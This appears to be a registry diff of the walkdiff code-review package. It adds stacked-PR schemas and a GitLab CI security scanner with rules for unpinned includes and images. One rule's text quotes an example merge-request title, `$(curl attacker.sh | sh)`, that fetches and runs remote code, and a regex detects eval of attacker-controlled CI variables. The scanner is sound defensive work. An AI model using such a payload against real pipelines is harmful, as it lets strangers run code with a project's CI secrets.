walkdiff 0.7.1 → 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/walkdiff.mjs CHANGED
@@ -8,8 +8,9 @@ import { z } from "zod";
8
8
  import { createHash, randomBytes } from "node:crypto";
9
9
  import { Language, Parser } from "web-tree-sitter";
10
10
  import { homedir, tmpdir } from "node:os";
11
- import { existsSync } from "node:fs";
11
+ import { existsSync, readFileSync } from "node:fs";
12
12
  import { parse } from "smol-toml";
13
+ import { LineCounter, isMap, isPair, isScalar, isSeq, parseAllDocuments } from "yaml";
13
14
  import Anthropic from "@anthropic-ai/sdk";
14
15
  import { betaZodOutputFormat } from "@anthropic-ai/sdk/helpers/beta/zod";
15
16
  import { inflateRawSync } from "node:zlib";
@@ -204,6 +205,48 @@ Object.values(AnalysisStep);
204
205
  function stepLabel(step) {
205
206
  return STEP_LABELS[step];
206
207
  }
208
+ /** How a stack was found: the host's own stack feature, or Walkdiff following branches. */
209
+ const StackSource = {
210
+ Host: "host",
211
+ Branches: "branches"
212
+ };
213
+ /**
214
+ * An open PR in a stack. It has a number but no URL: the app builds the URL from the PR it was
215
+ * reviewing, so a host's answer can't send it, or the token, to another repository.
216
+ */
217
+ const stackMemberSchema$1 = z.object({
218
+ number: z.number().int().positive(),
219
+ title: z.string(),
220
+ author: z.string(),
221
+ headRef: z.string().min(1),
222
+ /** The branch it merges into, which is the head of the member below it, or the trunk. */
223
+ baseRef: z.string().min(1)
224
+ });
225
+ /** Open PRs that build on one another, each based on the one below it. */
226
+ const pullRequestStackSchema = z.object({
227
+ source: z.enum(StackSource),
228
+ /** The branch the bottom member merges into, usually the default branch. */
229
+ trunk: z.string().min(1),
230
+ /** Bottom first. Includes the PR the stack was found from. */
231
+ members: z.array(stackMemberSchema$1).min(2).max(20).readonly(),
232
+ /**
233
+ * PRs that build on the top member side by side. They fork the chain, so they aren't part of
234
+ * it, but a reviewer may still want to know of them.
235
+ */
236
+ leftOut: z.array(stackMemberSchema$1).max(20).readonly()
237
+ });
238
+ /** Where a review sits in a stack the reviewer grouped in the app. */
239
+ const stackPlaceSchema = z.object({
240
+ id: z.number().int().positive(),
241
+ /** 1 for the bottom member. */
242
+ position: z.number().int().positive()
243
+ });
244
+ /** A stack found from a review that the reviewer hasn't grouped yet, or that has gained PRs since. */
245
+ const stackOfferSchema = pullRequestStackSchema.extend({
246
+ /** The members accepting would add to the review's stack: not in it yet, and not turned down. */
247
+ joining: z.array(z.number().int().positive()).min(1).readonly() });
248
+ /** Accepting an offer. The AI choice applies to the members it adds, since it decides whether their code leaves the machine. */
249
+ const acceptStackRequestSchema = z.object({ ai: z.boolean() });
207
250
  const GitHostKind = {
208
251
  GitHub: "github",
209
252
  GitLab: "gitlab"
@@ -699,18 +742,24 @@ const ReviewStatus = {
699
742
  Ready: "ready",
700
743
  Failed: "failed"
701
744
  };
702
- /** One row of the local app's review list; the JSON its API and page share. */
703
745
  /** Coverage reports a reviewer picked for one PR, as text from their browser. */
704
746
  const attachCoverageRequestSchema = z.object({ reports: z.array(z.object({
705
747
  name: z.string().min(1),
706
748
  text: z.string()
707
749
  })).min(1) });
750
+ /** What a report describes: the commit it was made from, and the branch that commit was compared with. */
751
+ const reportHeadSchema = z.object({
752
+ headSha: commitShaSchema,
753
+ baseRef: z.string()
754
+ });
755
+ /** One row of the local app's review list; the JSON its API and page share. */
708
756
  const reviewSummarySchema = z.object({
709
757
  id: z.number().int().positive(),
710
758
  url: z.url(),
711
759
  host: z.enum(GitHostKind),
712
760
  /** `owner/repo#12` or `group/project!12`, known before the analysis finishes. */
713
761
  displayName: z.string(),
762
+ number: z.number().int().positive(),
714
763
  status: z.enum(ReviewStatus),
715
764
  /** The step a running analysis is on; null unless analyzing. Kept in memory, not stored. */
716
765
  step: z.enum(AnalysisStep).nullable().default(null),
@@ -727,6 +776,12 @@ const reviewSummarySchema = z.object({
727
776
  findings: z.number().int().nonnegative().nullable(),
728
777
  /** Where the report's test coverage came from; null when none was found. */
729
778
  coverageSource: z.string().nullable(),
779
+ /** Null until an analysis succeeds. */
780
+ reportHead: reportHeadSchema.nullable(),
781
+ /** Null unless the reviewer grouped this review with others in its stack. */
782
+ stack: stackPlaceSchema.nullable(),
783
+ /** A stack found for it that the reviewer can accept; null when there's nothing new to offer. */
784
+ stackOffer: stackOfferSchema.nullable().default(null),
730
785
  createdAt: z.iso.datetime(),
731
786
  updatedAt: z.iso.datetime()
732
787
  });
@@ -748,12 +803,14 @@ const CHECK_BY_RULE_PREFIX = /* @__PURE__ */ new Map([
748
803
  ["gitleaks.", "gitleaks"],
749
804
  ["oxlint.", "oxlint"],
750
805
  ["ruff.", "Ruff"],
806
+ ["ruff-security.", "Ruff security rules"],
751
807
  ["jscpd.", "jscpd"],
752
808
  ["quality.", "Function metrics"],
753
809
  ["breaking.", "Breaking changes"],
754
810
  ["trust.", "Dependency trust"],
755
811
  ["license.", "Licences"],
756
- ["zizmor.", "zizmor"]
812
+ ["zizmor.", "zizmor"],
813
+ ["poutine.", "poutine"]
757
814
  ]);
758
815
  /**
759
816
  * Which check raised a finding. Everything falls through to the built-in rules, so the counts per
@@ -871,6 +928,7 @@ const CheckId = {
871
928
  OsvDatabase: "osvDatabase",
872
929
  DependencyTrust: "dependencyTrust",
873
930
  Zizmor: "zizmor",
931
+ Poutine: "poutine",
874
932
  Ruff: "ruff",
875
933
  Oxlint: "oxlint",
876
934
  Jscpd: "jscpd",
@@ -1081,11 +1139,12 @@ const reviewThreadSchema = z.object({
1081
1139
  isOutdated: z.boolean(),
1082
1140
  comments: z.array(threadCommentSchema).readonly()
1083
1141
  });
1142
+ const reviewerSchema = z.object({
1143
+ name: z.string(),
1144
+ state: z.enum(ReviewerState)
1145
+ });
1084
1146
  z.object({
1085
- reviewers: z.array(z.object({
1086
- name: z.string(),
1087
- state: z.enum(ReviewerState)
1088
- })).readonly(),
1147
+ reviewers: z.array(reviewerSchema).readonly(),
1089
1148
  threads: z.array(reviewThreadSchema).readonly(),
1090
1149
  /** True when the host had more than Walkdiff read. */
1091
1150
  truncated: z.boolean()
@@ -1103,6 +1162,94 @@ function lastLineOf(comment) {
1103
1162
  newLine: comment.line
1104
1163
  };
1105
1164
  }
1165
+ // packages/review-model/src/stackStatus.ts
1166
+ const PullRequestState = {
1167
+ Open: "open",
1168
+ Merged: "merged",
1169
+ Closed: "closed"
1170
+ };
1171
+ /** What the host says of a PR now: enough to tell whether its report still describes it. */
1172
+ const pullRequestStatusSchema = z.object({
1173
+ state: z.enum(PullRequestState),
1174
+ headSha: commitShaSchema,
1175
+ baseRef: z.string()
1176
+ });
1177
+ /** Why a member's report no longer describes it, if it doesn't. */
1178
+ const ReportChange = {
1179
+ None: "none",
1180
+ /** It was never analyzed successfully. */
1181
+ NoReport: "noReport",
1182
+ NewCommits: "newCommits",
1183
+ /** It merges into another branch now, as after the member below it merged, so its diff runs from a different base. */
1184
+ Retargeted: "retargeted"
1185
+ };
1186
+ /** Whether the host could be asked about a member. */
1187
+ const MemberCheck = {
1188
+ Checked: "checked",
1189
+ Failed: "failed"
1190
+ };
1191
+ const stackMemberStatusSchema = z.discriminatedUnion("check", [z.object({
1192
+ check: z.literal(MemberCheck.Checked),
1193
+ reviewId: z.number().int().positive(),
1194
+ status: pullRequestStatusSchema,
1195
+ /** Always `none` for a merged or closed PR, whose report no longer matters. */
1196
+ reportChange: z.enum(ReportChange),
1197
+ reviewers: z.array(reviewerSchema).readonly()
1198
+ }), z.object({
1199
+ check: z.literal(MemberCheck.Failed),
1200
+ reviewId: z.number().int().positive(),
1201
+ /** The host's reason, such as an expired token. */
1202
+ error: z.string()
1203
+ })]);
1204
+ z.object({
1205
+ id: z.number().int().positive(),
1206
+ trunk: z.string(),
1207
+ /** Bottom first. */
1208
+ members: z.array(stackMemberStatusSchema).readonly()
1209
+ });
1210
+ /**
1211
+ * Approving several members at once. Each names the commit the reviewer saw in the dialog, so an
1212
+ * approval can't reach code that arrived after they decided.
1213
+ */
1214
+ const approveStackRequestSchema = z.object({
1215
+ /** Posted with every approval; may be empty. */
1216
+ body: z.string().trim().max(MAX_COMMENT_CHARS),
1217
+ members: z.array(z.object({
1218
+ reviewId: z.number().int().positive(),
1219
+ headSha: commitShaSchema
1220
+ })).min(1).max(20)
1221
+ });
1222
+ /** A member that stops the whole approval before anything is posted, and why. */
1223
+ const blockedMemberSchema = z.object({
1224
+ reviewId: z.number().int().positive(),
1225
+ reason: z.string()
1226
+ });
1227
+ z.object({
1228
+ error: z.string(),
1229
+ blocked: z.array(blockedMemberSchema).min(1)
1230
+ });
1231
+ const ApprovalOutcome = {
1232
+ Posted: "posted",
1233
+ Refused: "refused"
1234
+ };
1235
+ const memberApprovalSchema = z.discriminatedUnion("outcome", [z.object({
1236
+ outcome: z.literal(ApprovalOutcome.Posted),
1237
+ reviewId: z.number().int().positive(),
1238
+ url: z.string()
1239
+ }), z.object({
1240
+ outcome: z.literal(ApprovalOutcome.Refused),
1241
+ reviewId: z.number().int().positive(),
1242
+ error: z.string()
1243
+ })]);
1244
+ z.object({ results: z.array(memberApprovalSchema) });
1245
+ z.object({
1246
+ reviewed: z.number().int().nonnegative(),
1247
+ total: z.number().int().nonnegative(),
1248
+ /** Comments written in the report and not posted yet. Approving from the list would leave them behind. */
1249
+ drafts: z.number().int().nonnegative(),
1250
+ /** The report these counts come from. After a refresh, the list can't trust them until the new report is opened. */
1251
+ head: reportHeadSchema
1252
+ }).refine((progress) => progress.reviewed <= progress.total);
1106
1253
  // packages/engine/src/blobs.ts
1107
1254
  const NEWLINE = 10;
1108
1255
  /**
@@ -2845,7 +2992,7 @@ function replacementsIn(hunk) {
2845
2992
  function hunksOf(diff) {
2846
2993
  return diff.content.kind === FileContentKind.Binary ? [] : diff.content.hunks;
2847
2994
  }
2848
- function keyOf(pattern, line) {
2995
+ function keyOf$1(pattern, line) {
2849
2996
  const match = pattern.exec(line.content);
2850
2997
  const key = match?.[1];
2851
2998
  return key === void 0 ? void 0 : {
@@ -2869,8 +3016,8 @@ function endsInTheSameWord(a, b) {
2869
3016
  function renamePairs(diff, pattern) {
2870
3017
  const pairs = /* @__PURE__ */ new Map();
2871
3018
  for (const { removed, added } of hunksOf(diff).flatMap(replacementsIn)) {
2872
- const newKeys = added.flatMap((line) => keyOf(pattern, line) ?? []);
2873
- for (const oldKey of removed.flatMap((line) => keyOf(pattern, line) ?? [])) {
3019
+ const newKeys = added.flatMap((line) => keyOf$1(pattern, line) ?? []);
3020
+ for (const oldKey of removed.flatMap((line) => keyOf$1(pattern, line) ?? [])) {
2874
3021
  const partner = newKeys.find((key) => key.key !== oldKey.key && key.value !== "" && key.value === oldKey.value) ?? newKeys.find((key) => key.key !== oldKey.key && endsInTheSameWord(key.key, oldKey.key));
2875
3022
  if (partner !== void 0) pairs.set(oldKey.key, partner.key);
2876
3023
  }
@@ -2878,7 +3025,7 @@ function renamePairs(diff, pattern) {
2878
3025
  return pairs;
2879
3026
  }
2880
3027
  function removedKeys(file, pattern) {
2881
- return hunksOf(file.diff).flatMap((hunk) => hunk.lines).flatMap((line) => line.kind === DiffLineKind.Removed ? keyOf(pattern, line) ?? [] : []).filter((key) => !isStillInFile(file, key.key));
3028
+ return hunksOf(file.diff).flatMap((hunk) => hunk.lines).flatMap((line) => line.kind === DiffLineKind.Removed ? keyOf$1(pattern, line) ?? [] : []).filter((key) => !isStillInFile(file, key.key));
2882
3029
  }
2883
3030
  function isCommented(line) {
2884
3031
  return /^\s*(?:#|\/\/|;)/.test(line);
@@ -3261,6 +3408,16 @@ async function pythonSurface(repository, paths) {
3261
3408
  return (!manifest.endsWith("pyproject.toml") || PYPROJECT_BUILDS.test(texts.get(manifest) ?? "")) && listedInDunderAll(texts.get(path), name);
3262
3409
  };
3263
3410
  }
3411
+ // packages/engine/src/risk/migrationFiles.ts
3412
+ /**
3413
+ * Where frameworks keep database migrations: `migrations/` for db-migrate, knex, Sequelize,
3414
+ * TypeORM, Django and most others, `alembic/versions/` for Alembic, and `db/migrate/` and
3415
+ * `db/post_migrate/` for Rails and GitLab.
3416
+ */
3417
+ const MIGRATION_PATH = /(^|\/)migrations?\/|(^|\/)alembic\/versions\/|(^|\/)db\/(?:post_)?migrate\//;
3418
+ function isMigrationPath(path) {
3419
+ return MIGRATION_PATH.test(path);
3420
+ }
3264
3421
  // packages/engine/src/risk/breaking/migrations.ts
3265
3422
  const SchemaChangeKind = {
3266
3423
  DropTable: "dropTable",
@@ -3269,7 +3426,6 @@ const SchemaChangeKind = {
3269
3426
  RenameColumn: "renameColumn",
3270
3427
  ChangeType: "changeType"
3271
3428
  };
3272
- const MIGRATION_FILE = /(^|\/)migrations?\/|(^|\/)alembic\/versions\/|(^|\/)db\/(?:post_)?migrate\//;
3273
3429
  const DOWN_FILE = /\.down\.sql$|(^|\/)U\d[^/]*\.sql$/i;
3274
3430
  const DOWN_SECTION = /\bdef\s+down(?:grade)?\b|\bdown\s*[(:=]|\bexports\.down\b|\+goose\s+Down|\+migrate\s+Down|migrate:down/i;
3275
3431
  const UP_SECTION = /\bdef\s+(?:up(?:grade)?|change)\b|\bup\s*[(:=]|\bexports\.up\b|\+goose\s+Up|\+migrate\s+Up|migrate:up/i;
@@ -3460,7 +3616,7 @@ function changeOnLine(lines, index) {
3460
3616
  }
3461
3617
  function isMigration(file) {
3462
3618
  const { path, status } = file.diff;
3463
- return status !== FileChangeStatus.Deleted && MIGRATION_FILE.test(path) && !DOWN_FILE.test(path) && !isTestPath(path) && !isThirdParty(file);
3619
+ return status !== FileChangeStatus.Deleted && isMigrationPath(path) && !DOWN_FILE.test(path) && !isTestPath(path) && !isThirdParty(file);
3464
3620
  }
3465
3621
  /** Names this PR's migrations bring into being, which nothing outside the PR can depend on yet. */
3466
3622
  function namesCreatedInThisChange(migrations) {
@@ -5344,7 +5500,7 @@ function newlyDeclared(path, before, after) {
5344
5500
  return [...format.parse(after)].filter(([name]) => !previous.has(name)).map(([name, requirement]) => findingAt({
5345
5501
  ...NEW_DEPENDENCY,
5346
5502
  title: `New dependency: ${codeSpan(name)}`
5347
- }, path, lineMentioning(after, name), `${name} ${requirement}`));
5503
+ }, path, lineMentioning$1(after, name), `${name} ${requirement}`));
5348
5504
  }
5349
5505
  function newlyDeclaredPackages(path, before, after, privatePackages) {
5350
5506
  const format = manifestFormatFor(path);
@@ -5355,7 +5511,7 @@ function newlyDeclaredPackages(path, before, after, privatePackages) {
5355
5511
  name,
5356
5512
  requirement,
5357
5513
  path,
5358
- line: lineMentioning(after, name)
5514
+ line: lineMentioning$1(after, name)
5359
5515
  }));
5360
5516
  }
5361
5517
  function newlyLocked(path, before, after) {
@@ -5400,14 +5556,14 @@ function vulnerabilityFinding(found, lockfile, text) {
5400
5556
  severity: vulnerability.severity,
5401
5557
  title: `${codeSpan(`${entry.name} ${entry.version}`)}: ${vulnerability.id}${aliases}`,
5402
5558
  detail: `${vulnerability.summary ?? "Known vulnerability."} ${fix}`
5403
- }, lockfile, lineMentioning(text, entry.name), `${entry.name} ${entry.version}`);
5559
+ }, lockfile, lineMentioning$1(text, entry.name), `${entry.name} ${entry.version}`);
5404
5560
  }
5405
5561
  /**
5406
5562
  * First line naming the package, so a finding links to where it is declared or locked:
5407
5563
  * a quoted name (JSON, TOML values) or the name at the start of a line (TOML keys,
5408
5564
  * requirements files), never as part of a longer name.
5409
5565
  */
5410
- function lineMentioning(text, name) {
5566
+ function lineMentioning$1(text, name) {
5411
5567
  const escaped = name.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
5412
5568
  const pattern = new RegExp(`"${escaped}"|^\\s*${escaped}(?![\\w.-])`);
5413
5569
  const index = text.split("\n").findIndex((line) => pattern.test(line));
@@ -5600,6 +5756,478 @@ async function readWalkdiffConfig(repoDir, head) {
5600
5756
  function isIgnored(config, path) {
5601
5757
  return path !== ".walkdiff.json" && path !== LEGACY_CONFIG_PATH && config.ignore.some((pattern) => matchesGlob(path, pattern));
5602
5758
  }
5759
+ // packages/engine/src/risk/pipelines/gitlabCi.ts
5760
+ const IncludeKind = {
5761
+ Local: "local",
5762
+ Remote: "remote",
5763
+ Project: "project",
5764
+ Component: "component",
5765
+ Template: "template"
5766
+ };
5767
+ const SCRIPT_KEYS = /* @__PURE__ */ new Set([
5768
+ "script",
5769
+ "before_script",
5770
+ "after_script"
5771
+ ]);
5772
+ const DATA_KEYS = /* @__PURE__ */ new Set([
5773
+ "variables",
5774
+ "spec",
5775
+ "inputs"
5776
+ ]);
5777
+ const REMOTE_URL = /^https?:/;
5778
+ /**
5779
+ * Reads a GitLab CI file without running it through GitLab's merge logic: anchors, `extends` and
5780
+ * `!reference` aren't resolved. Aliases are never expanded, so a file built to blow up when expanded
5781
+ * costs nothing. A file that isn't valid YAML gives whatever parsed before the error.
5782
+ */
5783
+ function parseGitlabCi(text) {
5784
+ const lineCounter = new LineCounter();
5785
+ const reader = new ConfigReader(text, lineCounter);
5786
+ for (const document of parseAllDocuments(text, {
5787
+ lineCounter,
5788
+ uniqueKeys: false
5789
+ })) {
5790
+ if (!isMap(document.contents)) continue;
5791
+ for (const pair of document.contents.items) if (keyOf(pair) === "include") reader.readIncludes(pair.value);
5792
+ reader.walk(document.contents);
5793
+ }
5794
+ return {
5795
+ includes: reader.includes,
5796
+ images: reader.images,
5797
+ scriptLines: reader.scriptLines
5798
+ };
5799
+ }
5800
+ var ConfigReader = class {
5801
+ includes = [];
5802
+ images = [];
5803
+ scriptLines = [];
5804
+ #text;
5805
+ #lineCounter;
5806
+ constructor(text, lineCounter) {
5807
+ this.#text = text;
5808
+ this.#lineCounter = lineCounter;
5809
+ }
5810
+ walk(node) {
5811
+ if (isSeq(node)) {
5812
+ for (const item of node.items) this.walk(item);
5813
+ return;
5814
+ }
5815
+ if (!isMap(node)) return;
5816
+ for (const pair of node.items) {
5817
+ const key = keyOf(pair);
5818
+ if (key === void 0 || DATA_KEYS.has(key) || key === "include") continue;
5819
+ if (SCRIPT_KEYS.has(key)) this.#readScript(pair.value);
5820
+ else if (key === "image") this.#readImage(pair.value);
5821
+ else if (key === "services" && isSeq(pair.value)) for (const service of pair.value.items) this.#readImage(service);
5822
+ else this.walk(pair.value);
5823
+ }
5824
+ }
5825
+ readIncludes(node) {
5826
+ const items = isSeq(node) ? node.items : [node];
5827
+ for (const item of items) {
5828
+ const include = this.#includeOf(item);
5829
+ if (include !== void 0) this.includes.push(include);
5830
+ }
5831
+ }
5832
+ #includeOf(item) {
5833
+ if (isScalar(item) && typeof item.value === "string") {
5834
+ const line = this.#lineOf(item);
5835
+ return REMOTE_URL.test(item.value) ? {
5836
+ kind: IncludeKind.Remote,
5837
+ url: item.value,
5838
+ hasIntegrity: false,
5839
+ line
5840
+ } : {
5841
+ kind: IncludeKind.Local,
5842
+ path: item.value,
5843
+ line
5844
+ };
5845
+ }
5846
+ if (!isMap(item)) return void 0;
5847
+ const line = this.#lineOf(item);
5848
+ const field = (name) => {
5849
+ const value = item.get(name);
5850
+ return typeof value === "string" ? value : void 0;
5851
+ };
5852
+ const local = field("local");
5853
+ if (local !== void 0) return {
5854
+ kind: IncludeKind.Local,
5855
+ path: local,
5856
+ line
5857
+ };
5858
+ const remote = field("remote");
5859
+ if (remote !== void 0) return {
5860
+ kind: IncludeKind.Remote,
5861
+ url: remote,
5862
+ hasIntegrity: field("integrity") !== void 0,
5863
+ line
5864
+ };
5865
+ const project = field("project");
5866
+ if (project !== void 0) return {
5867
+ kind: IncludeKind.Project,
5868
+ project,
5869
+ ref: field("ref"),
5870
+ line
5871
+ };
5872
+ const component = field("component");
5873
+ if (component !== void 0) return {
5874
+ kind: IncludeKind.Component,
5875
+ component,
5876
+ line
5877
+ };
5878
+ return field("template") === void 0 ? void 0 : {
5879
+ kind: IncludeKind.Template,
5880
+ line
5881
+ };
5882
+ }
5883
+ #readScript(node) {
5884
+ if (isSeq(node)) {
5885
+ for (const item of node.items) this.#readScript(item);
5886
+ return;
5887
+ }
5888
+ if (!isScalar(node) || node.range === void 0 || node.range === null) return;
5889
+ const [start, end] = node.range;
5890
+ const first = this.#lineCounter.linePos(start).line;
5891
+ this.#text.slice(start, end).split("\n").forEach((text, offset) => this.scriptLines.push({
5892
+ text,
5893
+ line: first + offset
5894
+ }));
5895
+ }
5896
+ #readImage(node) {
5897
+ const name = isMap(node) ? node.get("name", true) : node;
5898
+ if (isScalar(name) && typeof name.value === "string") this.images.push({
5899
+ text: name.value,
5900
+ line: this.#lineOf(name)
5901
+ });
5902
+ }
5903
+ #lineOf(node) {
5904
+ return this.#lineCounter.linePos(node.range?.[0] ?? 0).line;
5905
+ }
5906
+ };
5907
+ function keyOf(pair) {
5908
+ return isPair(pair) && isScalar(pair.key) && typeof pair.key.value === "string" ? pair.key.value : void 0;
5909
+ }
5910
+ // packages/engine/src/risk/pipelines/pipelineFiles.ts
5911
+ const PipelineSystem = {
5912
+ GitlabCi: "gitlabCi",
5913
+ AzurePipelines: "azurePipelines",
5914
+ Tekton: "tekton"
5915
+ };
5916
+ const GITLAB_CI_ROOT = ".gitlab-ci.yml";
5917
+ const MAX_GITLAB_CI_FILES = 150;
5918
+ const YAML_FILE = /\.ya?ml$/;
5919
+ const GITLAB_CI_FILE = /\.?gitlab-ci(-.+)?\.ya?ml$/;
5920
+ const AZURE_PIPELINES_FILE = /\.?azure-pipelines(-.+)?\.ya?ml$/;
5921
+ const TEKTON_FILE = /^\.tekton\/[^/]+\.ya?ml$/;
5922
+ const UNRESOLVABLE_PATH = /[*$]/;
5923
+ /**
5924
+ * The CI files a change touches, plus the GitLab CI files around them. Pipeline checks need the
5925
+ * whole include graph: GitLab, and poutine, start from `.gitlab-ci.yml` and follow its local
5926
+ * includes, so an MR that edits only `ci/deploy.yml` means nothing without the root that includes
5927
+ * it. Returns nothing when the change touches no CI file, which is most changes.
5928
+ */
5929
+ async function readPipelineFiles(files, read) {
5930
+ const changed = files.filter((file) => file.after !== void 0 && !isThirdParty(file) && YAML_FILE.test(file.diff.path));
5931
+ if (changed.length === 0) return [];
5932
+ const gitlab = await readGitlabCiGraph(read);
5933
+ const known = new Set(gitlab.map((file) => file.path));
5934
+ const named = changed.flatMap((file) => {
5935
+ const system = systemByName(file.diff.path);
5936
+ return system === void 0 || file.after === void 0 || known.has(file.diff.path) ? [] : [{
5937
+ path: file.diff.path,
5938
+ text: file.after,
5939
+ system
5940
+ }];
5941
+ });
5942
+ const pipeline = [...gitlab, ...named];
5943
+ const changedPaths = new Set(changed.map((file) => file.diff.path));
5944
+ return pipeline.some((file) => changedPaths.has(file.path)) ? pipeline : [];
5945
+ }
5946
+ function systemByName(path) {
5947
+ if (GITLAB_CI_FILE.test(path)) return PipelineSystem.GitlabCi;
5948
+ if (AZURE_PIPELINES_FILE.test(path)) return PipelineSystem.AzurePipelines;
5949
+ if (TEKTON_FILE.test(path)) return PipelineSystem.Tekton;
5950
+ }
5951
+ /** Breadth first from the root, one batch of reads per level of includes. */
5952
+ async function readGitlabCiGraph(read) {
5953
+ const found = [];
5954
+ const seen = /* @__PURE__ */ new Set();
5955
+ let level = [GITLAB_CI_ROOT];
5956
+ while (level.length > 0 && found.length < MAX_GITLAB_CI_FILES) {
5957
+ const paths = level.filter((path) => !seen.has(path)).slice(0, MAX_GITLAB_CI_FILES - found.length);
5958
+ for (const path of paths) seen.add(path);
5959
+ const texts = await read(paths);
5960
+ const next = [];
5961
+ paths.forEach((path, index) => {
5962
+ const text = texts.at(index);
5963
+ if (text === void 0) return;
5964
+ found.push({
5965
+ path,
5966
+ text,
5967
+ system: PipelineSystem.GitlabCi
5968
+ });
5969
+ next.push(...localIncludes(text));
5970
+ });
5971
+ level = next;
5972
+ }
5973
+ return found;
5974
+ }
5975
+ function localIncludes(text) {
5976
+ return parseGitlabCi(text).includes.flatMap((include) => {
5977
+ if (include.kind !== IncludeKind.Local || UNRESOLVABLE_PATH.test(include.path)) return [];
5978
+ return [include.path.replace(/^\/+/, "")];
5979
+ });
5980
+ }
5981
+ // packages/engine/src/risk/pipelines/gitlabCiRules.ts
5982
+ function gitlabRule(id, severity, title, detail) {
5983
+ return {
5984
+ id: `gitlab-ci.${id}`,
5985
+ category: RiskCategory.CodeScan,
5986
+ severity,
5987
+ title,
5988
+ detail
5989
+ };
5990
+ }
5991
+ const MR_TEXT_AS_COMMAND = gitlabRule("mr-text-as-command", RiskSeverity.High, "Merge request text run as a command", "Anyone who opens a merge request chooses its title, description, branch name and commit messages. Here one of them is passed to eval or a `-c`/`-e` interpreter, so a title such as `$(curl attacker.sh | sh)` runs with this job's variables. Pass it as an argument or environment variable instead.");
5992
+ const REMOTE_INCLUDE = gitlabRule("remote-include-unverified", RiskSeverity.Medium, "Remote include without integrity", "GitLab runs whatever this URL returns each time the pipeline starts, with the project's CI variables. Add `integrity: sha256-…` (GitLab 17.9 and later) so a changed file fails the pipeline, or copy the file into the repository.");
5993
+ const PROJECT_INCLUDE = gitlabRule("project-include-unpinned", RiskSeverity.Medium, "Include from another project without a ref", "Without `ref`, GitLab uses the other project's default branch, so anyone who can push there changes this pipeline. Pin it to a tag or commit.");
5994
+ const COMPONENT_INCLUDE = gitlabRule("component-unpinned", RiskSeverity.Medium, "CI component on a moving version", "`~latest` or a branch name follows whatever the component's owners publish next. Pin a released version or a commit SHA.");
5995
+ const UNPINNED_IMAGE = gitlabRule("image-unpinned", RiskSeverity.Low, "Container image without a version", "With no tag, or `latest`, each run can pull a different image, so a compromised or broken release reaches this pipeline unseen. Pin a version tag, or a digest for the strongest guarantee.");
5996
+ const MR_CONTROLLED_VARIABLE = /\$\{?(?:CI_MERGE_REQUEST_(?:TITLE|DESCRIPTION|SOURCE_BRANCH_NAME)|CI_COMMIT_(?:MESSAGE|TITLE|DESCRIPTION|TAG_MESSAGE|REF_NAME|BRANCH)|CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME)\b/;
5997
+ const EVALUATES_TEXT = /\beval\b|\b(?:ba|z|da|k)?sh\s+-c\b|\b(?:python3?|node|perl|ruby)\s+-[ce]\b/;
5998
+ const RELEASED_COMPONENT_VERSION = /@(?:\d+(?:\.\d+){0,2}(?:-[\w.]+)?|[0-9a-f]{40})$/;
5999
+ const IMAGE_TAG_OR_DIGEST = /(?::([\w][\w.-]{0,127})|@sha256:[0-9a-f]{64})$/;
6000
+ const LATEST_TAG = "latest";
6001
+ /** Flags risky GitLab CI on added lines of the changed GitLab CI files. */
6002
+ function scanGitlabCi(files, pipeline) {
6003
+ const gitlabPaths = new Set(pipeline.filter((file) => file.system === PipelineSystem.GitlabCi).map((file) => file.path));
6004
+ return files.flatMap((file) => {
6005
+ if (file.after === void 0 || !gitlabPaths.has(file.diff.path)) return [];
6006
+ const added = new Map(addedLines(file.diff).map((line) => [line.line, line.content]));
6007
+ const path = file.diff.path;
6008
+ return problemsIn(parseGitlabCi(file.after)).flatMap(({ rule, line }) => {
6009
+ const content = added.get(line);
6010
+ return content === void 0 ? [] : [findingAt(rule, path, line, content)];
6011
+ });
6012
+ });
6013
+ }
6014
+ function problemsIn(config) {
6015
+ return [
6016
+ ...config.scriptLines.filter(runsMergeRequestText).map((script) => ({
6017
+ rule: MR_TEXT_AS_COMMAND,
6018
+ line: script.line
6019
+ })),
6020
+ ...config.includes.flatMap((include) => includeProblem(include)),
6021
+ ...config.images.filter(isUnpinnedImage).map((image) => ({
6022
+ rule: UNPINNED_IMAGE,
6023
+ line: image.line
6024
+ }))
6025
+ ];
6026
+ }
6027
+ function runsMergeRequestText(script) {
6028
+ return EVALUATES_TEXT.test(script.text) && MR_CONTROLLED_VARIABLE.test(script.text);
6029
+ }
6030
+ function includeProblem(include) {
6031
+ switch (include.kind) {
6032
+ case IncludeKind.Remote: return include.hasIntegrity ? [] : [{
6033
+ rule: REMOTE_INCLUDE,
6034
+ line: include.line
6035
+ }];
6036
+ case IncludeKind.Project: return include.ref === void 0 ? [{
6037
+ rule: PROJECT_INCLUDE,
6038
+ line: include.line
6039
+ }] : [];
6040
+ case IncludeKind.Component: return RELEASED_COMPONENT_VERSION.test(include.component) ? [] : [{
6041
+ rule: COMPONENT_INCLUDE,
6042
+ line: include.line
6043
+ }];
6044
+ case IncludeKind.Local:
6045
+ case IncludeKind.Template: return [];
6046
+ }
6047
+ }
6048
+ function isUnpinnedImage(image) {
6049
+ if (image.text.includes("$")) return false;
6050
+ const tag = IMAGE_TAG_OR_DIGEST.exec(lastPathSegment(image.text));
6051
+ return tag === null || tag[1] === LATEST_TAG;
6052
+ }
6053
+ function lastPathSegment(image) {
6054
+ return image.slice(image.lastIndexOf("/") + 1);
6055
+ }
6056
+ // packages/engine/src/risk/scanners/ruff.ts
6057
+ const RUFF_BINARY = "ruff";
6058
+ const SELECTED_RULES = [
6059
+ "F",
6060
+ "B",
6061
+ "E7",
6062
+ "E9"
6063
+ ];
6064
+ const LIKELY_BUG_PREFIXES = [
6065
+ "F82",
6066
+ "F63",
6067
+ "F7",
6068
+ "B",
6069
+ "E9"
6070
+ ];
6071
+ const ruffOutputSchema = z.array(z.object({
6072
+ code: z.string().nullable(),
6073
+ name: z.string().optional(),
6074
+ filename: z.string(),
6075
+ location: z.object({ row: z.number().int() }),
6076
+ end_location: z.object({ row: z.number().int() }),
6077
+ url: z.string().nullable().optional()
6078
+ }));
6079
+ /** `--isolated` ignores every Ruff config file, so the rules are the same for any repository. */
6080
+ function ruffCheckArgs(rules) {
6081
+ return [
6082
+ "check",
6083
+ "--isolated",
6084
+ "--output-format",
6085
+ "json",
6086
+ "--no-cache",
6087
+ "--exit-zero",
6088
+ "--select",
6089
+ rules.join(","),
6090
+ "."
6091
